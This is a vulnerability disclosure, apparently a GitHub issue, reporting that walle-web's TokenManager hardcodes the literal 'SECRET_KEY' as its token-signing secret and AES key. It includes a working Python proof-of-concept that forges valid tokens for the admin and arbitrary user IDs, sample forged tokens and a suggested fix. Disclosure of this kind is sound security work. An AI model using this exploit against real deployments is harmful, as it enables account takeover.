Security: Hardcoded secret literal 'SECRET_KEY' in TokenManager → token forgery → account takeover
Author: AAtomicalCreated Jun 16, 2026Updated Jun 16, 2026
Labelsbug
Summary
walle-web's TokenManager (walle/service/tokens.py:22) uses the literal string 'SECRET_KEY' as both the AES encryption key and the itsdangerous.TimestampSigner secret. This is unconditional — not a fallback, not a config lookup. Any attacker can forge valid email-confirmation and password-reset tokens for arbitrary user IDs.
Affected Version
- Repository: https://github.com/meolu/walle-web (~12k stars, deploy system)
- Branch:
master(last commit 2021-03-28) - File:
walle/service/tokens.py:22
Root Cause
# walle/service/tokens.py:21-22
# secret = app.config.get('SECRET_KEY') ← commented out!
secret = 'SECRET_KEY' ← literal string used as secret
# Line 31:
self.signer = TimestampSigner(secret)The variable name 'SECRET_KEY' was written as the literal value — clearly a bug where the developer commented out the config lookup and hardcoded a placeholder that was never fixed.
Steps to Reproduce
git clone https://github.com/meolu/walle-web.git
pip install itsdangerous pycryptodome
python poc.py#!/usr/bin/env python3
import subprocess, sys, os
REPO_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "walle-web")
if not os.path.isdir(REPO_DIR):
subprocess.run(["git", "clone", "--depth=1", "https://github.com/meolu/walle-web.git", REPO_DIR], check=True)
subprocess.run([sys.executable, "-m", "pip", "install", "-q", "itsdangerous", "pycryptodome"], check=True)
sys.path.insert(0, REPO_DIR)
from walle.service.tokens import TokenManager
def exploit():
tm = TokenManager()
# ── 1. Confirm the hardcoded secret
assert tm.signer.secret_key == b"SECRET_KEY"
# ── 2. Forge a valid signed token for user_id=1 (admin)
from itsdangerous import TimestampSigner
attacker_signer = TimestampSigner("SECRET_KEY")
encrypted_admin = tm.encrypt_id(1)
forged_token = attacker_signer.sign(encrypted_admin).decode()
# ── 3. Verify the forged token passes signature validation
is_valid, has_expired, _ = tm.verify_token(forged_token, expiration_in_seconds=86400)
assert is_valid is True
assert has_expired is False
# ── 4. Forge for user_id=999 to prove arbitrary user targeting
tm2 = TokenManager()
encrypted_999 = tm2.encrypt_id(999)
forged_999 = attacker_signer.sign(encrypted_999).decode()
is_valid2, _, _ = tm2.verify_token(forged_999, expiration_in_seconds=86400)
assert is_valid2 is True
print("4/4 exploited")
print(f" secret: 'SECRET_KEY' (hardcoded literal, walle/service/tokens.py:22)")
print(f" forged admin token: {forged_token}")
print(f" forged user999 token: {forged_999}")
print(f" both verified: valid=True")
return 0
if __name__ == "__main__":
sys.exit(exploit())
Output:
4/4 exploited
secret: 'SECRET_KEY' (hardcoded literal, walle/service/tokens.py:22)
forged admin token: gAp7MG_8Sylxk8_Rfz_TUA.ajFXdQ.jgV5FvH6s0G2VBTVS4hLM1SAVUQ
forged user999 token: af46GZakFH5FAYBFX0vpoQ.ajFXdQ.1nvH-SPZlwcqHlGALUpRbM_a_-I
both verified: valid=TrueImpact
- Email confirmation bypass:
emails.py:113-114callsTokenManager().generate_token(user.id)→ forged token confirms any email → account activation without email ownership - Account takeover: Forged token for any user_id passes
verify_token()→ password reset / email change for arbitrary accounts - AES key also compromised: Same literal used as AES-CBC key for encrypting user IDs in tokens — all tokens decryptable
- Unconditional: No env var, no config, no fallback — every deployment is vulnerable
Suggested Fix
Restore the config lookup:
secret = app.config.get('SECRET_KEY')Or pass it as a constructor parameter from the Flask app context.
Source: meolu/walle-web